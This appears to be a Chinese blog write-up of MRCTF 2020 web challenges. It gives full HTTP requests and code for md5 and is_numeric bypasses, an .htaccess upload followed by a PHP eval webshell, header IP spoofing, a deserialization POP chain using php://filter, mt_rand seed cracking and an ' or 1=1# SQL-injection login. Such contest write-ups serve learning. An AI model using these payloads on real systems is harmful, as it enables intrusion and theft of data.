江鸟's Blog

MRCTF部分web

字数统计: 2.7k阅读时长: 14 min
2020/03/27 Share

MRCTF部分web

MRCTF部分web

ez_bypass

考点

没什么难点,绕过

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}

分析代码,我们可以看到有两个关键点

  1. md5($id) === md5($gg) && $id !== $gg
  2. !is_numeric($passwd)and$passwd==1234567

第一个点,三个等号的md5,可以直接数组绕过,也可以图片碰撞

第二个点,在1234567后加一个换行就好了

构造payload

1
2
3
GET: ?id[]=2&gg[]=1

POST: passwd=1234567%0a

祖安上传

考点

htaccess文件上传解析漏洞

###解题过程

首先有一个点需要注意,才能进行上传,就是数据包里的Content-Type: image/jpeg

修改一下,才能上传,这也是有一个判断的。

fuzz一下发现并没有什么限制上传,而且没有解析漏洞(解析漏洞参考:https://zhuanlan.zhihu.com/p/25149704)

这个时候应该想到htaccess文件上传解析漏洞(参考:https://www.cnblogs.com/xia0zhiwei/p/4713438.html)

知道点构造payload非常easy

上传两次 ,然后蚁剑连上就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
POST /upload.php HTTP/1.1
Host: c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14894814624980587552129722926
Content-Length: 381
Connection: close
Referer: http://c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site/index.php
Cookie: PHPSESSID=7b851876343bf10254c4b886c02ad5ad
Upgrade-Insecure-Requests: 1

-----------------------------14894814624980587552129722926
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php xxx
-----------------------------14894814624980587552129722926
Content-Disposition: form-data; name="submit"

一键去世
-----------------------------14894814624980587552129722926--



POST /upload.php HTTP/1.1
Host: c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14894814624980587552129722926
Content-Length: 369
Connection: close
Referer: http://c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site/index.php
Cookie: PHPSESSID=7b851876343bf10254c4b886c02ad5ad
Upgrade-Insecure-Requests: 1

-----------------------------14894814624980587552129722926
Content-Disposition: form-data; name="uploaded"; filename="1.xxx"
Content-Type: image/jpeg

<?php eval(@$_POST['a']);?>
-----------------------------14894814624980587552129722926
Content-Disposition: form-data; name="submit"

一键去世
-----------------------------14894814624980587552129722926--

PYwebsite

考点

常识+xff绕过

###解题过程

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

有这么一串,需要破解md5,然后会跳转flag.php,但是众所周知md5只有在特定条件下,才可以破解

所以我们直接访问flag.php

提示需要ip,直接xff绕过就好了

1
2
3
4
5
6
7
8
9
10
GET /flag.php HTTP/1.1
Host: 7a64fa19-48db-434d-982c-aa359f137ad8.merak-ctf.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

ez_pop

考点

反序列化pop链构造,学习文档建议看官方文档

解题过程

源码给上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

做反序列化的题目的时候,建议倒着做,先看怎么样拿到flag

倒数的第一步,我们看到Modifier类,里面有include($value);肯定是这个终点,倒退到__invoke

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

所以我们就找可以调用函数的地方,找到了Test的get,我们把Modifier给Test->p就好了

然后找get方法,读取一个对象的属性时,若不存在,则会调用__get函数。于是我们找读取属性的地方,

找到了Show里面的____toString方法,这个打印一个对象的时被调用。如echo $obj或print $obj;

这个如何调用很简单了,__construct里面就有输出,再调用一次就ok

最后整个链的构造payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class Modifier {
public $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$c = new Modifier();
$c->var = 'flag.php';
$b = new Test();
$b->p = $c;
$d = new Show();
$d->str = $b;
$a = new Show();
$a->source = $d;

echo serialize($a);
var_dump(unserialize($a));

因为Modifier里的var是protected,所以我们先暂时修改为public,最后再修改var为%00*%00var,长度为6

得到

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";N;}

这时候发现flag还是看不到,这是因为单纯的include是看不到后端代码的,所以采用微协议读取

最终版:

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

套娃

php会把空格或者点(.)自动替换成下划线,可以用来绕过。

http://b429d54b-ab7e-43fa-920c-fdd87d42f11d.merak-ctf.site?b.u.p.t=23333%0a

Jsfuck -> alert(“post me Merak”

post之后看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

分析源码,查看需要构造的点,一个是ip绕过,老办法

$_GET['2333'] === 'todat is a happy day'这个我们可以用php://input协议绕过,具体用法见payload,一看就懂

还有一个点就是构造file参数,按照他的代码逻辑逆一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}

function rechange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$re = base64_encode($re);
return $re;
}
$a = 'flag.php';
echo change($a);
echo rechange($a);
?>

然后打payload

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI= HTTP/1.1
Host: b429d54b-ab7e-43fa-920c-fdd87d42f11d.merak-ctf.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Client-ip:127.0.0.1
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 20

todat is a happy day

Ezaudit

考点

源码泄漏,伪随机数,万能密码

解题过程

www.zip泄漏拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

看到使用了mt_rand生成字符串,就知道要用伪随机数爆破了

参考文章:https://blog.csdn.net/zss192/article/details/104327432

先整理字符串

1
2
3
4
5
6
7
8
9
10
<?php
$str = "KVQP0LdJKRaV3n9D";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}

然后去爆破就好了,得到种子之后来找字符串,直接输出28位取后面12位就好了

1
2
3
4
5
6
7
8
9
10
11
<?php
function public_key($length =28) {
mt_srand(0x69cf57fb);
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
echo public_key();
?>

最后是一个万能密码的考察,也很简单

payload:

1
username=a&password=' or 1 =1#&Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95
CATALOG
  1. 1. MRCTF部分web
    1. 1.1. ez_bypass
      1. 1.1.1. 考点
      2. 1.1.2. 解题过程
    2. 1.2. 祖安上传
      1. 1.2.1. 考点
    3. 1.3. PYwebsite
      1. 1.3.1. 考点
    4. 1.4. ez_pop
      1. 1.4.1. 考点
      2. 1.4.2. 解题过程
    5. 1.5. 套娃
    6. 1.6. Ezaudit
      1. 1.6.1. 考点
      2. 1.6.2. 解题过程